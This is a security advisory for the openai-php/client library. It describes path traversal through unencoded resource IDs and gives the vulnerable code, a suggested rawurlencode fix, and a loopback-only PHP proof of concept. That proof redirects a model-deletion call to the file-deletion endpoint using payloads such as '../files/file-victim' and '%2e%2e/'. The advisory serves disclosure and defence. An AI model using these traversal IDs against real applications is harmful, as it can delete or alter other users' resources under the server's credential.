Skip to content

Unencoded resource IDs allow authenticated cross-resource endpoint traversal

This report was submitted with AI assistance

Low
iBotPeaches published GHSA-g2jm-j3rw-vqcm Oct 31, 2026

Package

composer openai-php/client (Composer)

Affected versions

>= 0.1.0, <= 0.21.0

Patched versions

0.22.0

Description

Summary

Resource identifiers are interpolated into request paths without path-segment encoding. An application user who can influence an ID passed to a resource-specific SDK method can use ../ segments to redirect the authenticated operation to a different OpenAI API route. A local proof demonstrates Models::delete('../files/file-victim') being sent as DELETE /v1/files/file-victim with the SDK bearer token. The same traversal is bypassable with percent-encoded dot segments.

$client->models()->delete('%2e%2e/files/file-victim')

Details

Root cause

At commit 41d1a82b069d3cd21e2e6e3240e8875abd3dcca6, src/ValueObjects/ResourceUri.php directly concatenates caller-supplied IDs into paths in retrieve(), modify(), retrieveContent(), cancel(), and delete(). For example:

public static function delete(string $resource, string $id): self
{
    return new self("{$resource}/{$id}");
}

src/ValueObjects/Transporter/Payload.php:150 concatenates that value with the authenticated base URI, and HttpTransporter::requestObject() sends it. Standard Guzzle/cURL normalization resolves the dot segment before transmission.

Demonstrated call path:

  1. Models::delete($model) in src/Resources/Models.php:53-60
  2. Payload::delete('models', $model)
  3. ResourceUri::delete() in src/ValueObjects/ResourceUri.php:81-83
  4. Payload::toRequest() in src/ValueObjects/Transporter/Payload.php:144-150,194
  5. Bearer header creation in src/Factory.php:149-153 and Headers.php:36-40
  6. Request send in src/Transporters/HttpTransporter.php:58-63

The same unsafe construction is shared by retrieve, modify, content, cancel, and delete operations across multiple resources. Several nested resources also interpolate dynamic parent IDs into the resource string itself, so a complete fix should encode every dynamic path segment exactly once, not only the final ID.

Suggested fix

Use rawurlencode() for each dynamic path segment before joining it to fixed route components. Prefer a URI builder that distinguishes fixed route components from dynamic identifier segments. Add regression tests for leaf and parent IDs containing /, .., ?, #, encoded separators, and Unicode.

A scratch-only comparison patch that applied rawurlencode($id) changed the request to DELETE /v1/models/..%2Ffiles%2Ffile-victim and prevented the synthetic deletion. No live OpenAI endpoint or real credential was used.
Mixed encoding such as .%2e/files/file-victim behaves the same.
I suggest treating each dynamic identifier as an opaque path segment and encoding it exactly once, plus adding regression tests for %2e%2e and .%2e. No live OpenAI endpoint or real credential was used for this check.

Proof of concept

Prerequisites

  • PHP 8.2+
  • Composer
git clone https://github.com/openai-php/client validation
cd validation
git checkout 41d1a82b069d3cd21e2e6e3240e8875abd3dcca6
composer install
cd ..

Save the following as poc.php next to the validation directory and run php poc.php:

<?php declare(strict_types=1);

require __DIR__ . '/validation/vendor/autoload.php';

$port = random_int(20000, 40000);
$serverCode = <<<'PHP'
$port = (int) $argv[1];
$server = stream_socket_server("tcp://127.0.0.1:{$port}", $errno, $error);
if ($server === false) {
    fwrite(STDERR, "listen failed: {$error}\n");
    exit(1);
}
echo "READY\n";
flush();
$connection = stream_socket_accept($server, 10);
if ($connection === false) {
    fwrite(STDERR, "accept timed out\n");
    exit(1);
}
$requestLine = rtrim((string) fgets($connection), "\r\n");
$authorization = '';
while (($line = fgets($connection)) !== false && $line !== "\r\n") {
    if (stripos($line, 'Authorization:') === 0) {
        $authorization = trim(substr($line, strlen('Authorization:')));
    }
}
$deleted = $requestLine === 'DELETE /v1/files/file-victim HTTP/1.1';
$body = json_encode([
    'id' => 'file-victim',
    'object' => 'file',
    'deleted' => $deleted,
], JSON_THROW_ON_ERROR);
fwrite($connection, "HTTP/1.1 200 OK\r\nContent-Type: application/json\r\nContent-Length: ".strlen($body)."\r\nConnection: close\r\n\r\n{$body}");
fclose($connection);
fclose($server);
echo "REQUEST {$requestLine}\n";
echo "AUTHORIZATION {$authorization}\n";
echo 'SYNTHETIC_FILE_DELETED '.($deleted ? 'yes' : 'no')."\n";
PHP;

$pipes = [];
$process = proc_open(
    [PHP_BINARY, '-r', $serverCode, (string) $port],
    [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']],
    $pipes,
);
if (! is_resource($process)) {
    throw new RuntimeException('Unable to start local mock');
}

try {
    if (trim((string) fgets($pipes[1])) !== 'READY') {
        throw new RuntimeException('Mock server did not start');
    }

    $client = OpenAI::factory()
        ->withApiKey('synthetic-api-key')
        ->withBaseUri("http://127.0.0.1:{$port}/v1")
        ->make();

    $client->models()->delete('../files/file-victim');
    echo stream_get_contents($pipes[1]);
} finally {
    foreach ($pipes as $pipe) {
        if (is_resource($pipe)) fclose($pipe);
    }
    proc_close($process);
}

Expected observed output:

REQUEST DELETE /v1/files/file-victim HTTP/1.1
AUTHORIZATION Bearer synthetic-api-key
SYNTHETIC_FILE_DELETED yes

The proof is loopback-only and changes only one in-memory synthetic state flag.

Impact

This is an authenticated endpoint-confusion vulnerability. A lower-trust application user who is permitted by the host application to choose only a resource identifier can cause the SDK to issue a different API operation using the server's OpenAI bearer credential.

The local proof demonstrates integrity impact: a model-deletion wrapper is redirected to the file-deletion endpoint and the cross-resource response is accepted because both response shapes contain id, object, and deleted.

Applications are affected when they pass user-influenced IDs to SDK resource methods without independently enforcing a strict identifier allowlist. Depending on the exposed wrapper and API-key permissions, the shared URI construction may permit unauthorized reads, modifications, cancellations, or deletions of other OpenAI resources. Those stronger impacts are inferred from the shared call paths and were not tested against the live OpenAI API.

Severity

Low

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

CVE ID

No known CVE

Weaknesses

Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly. Learn more on MITRE.

Credits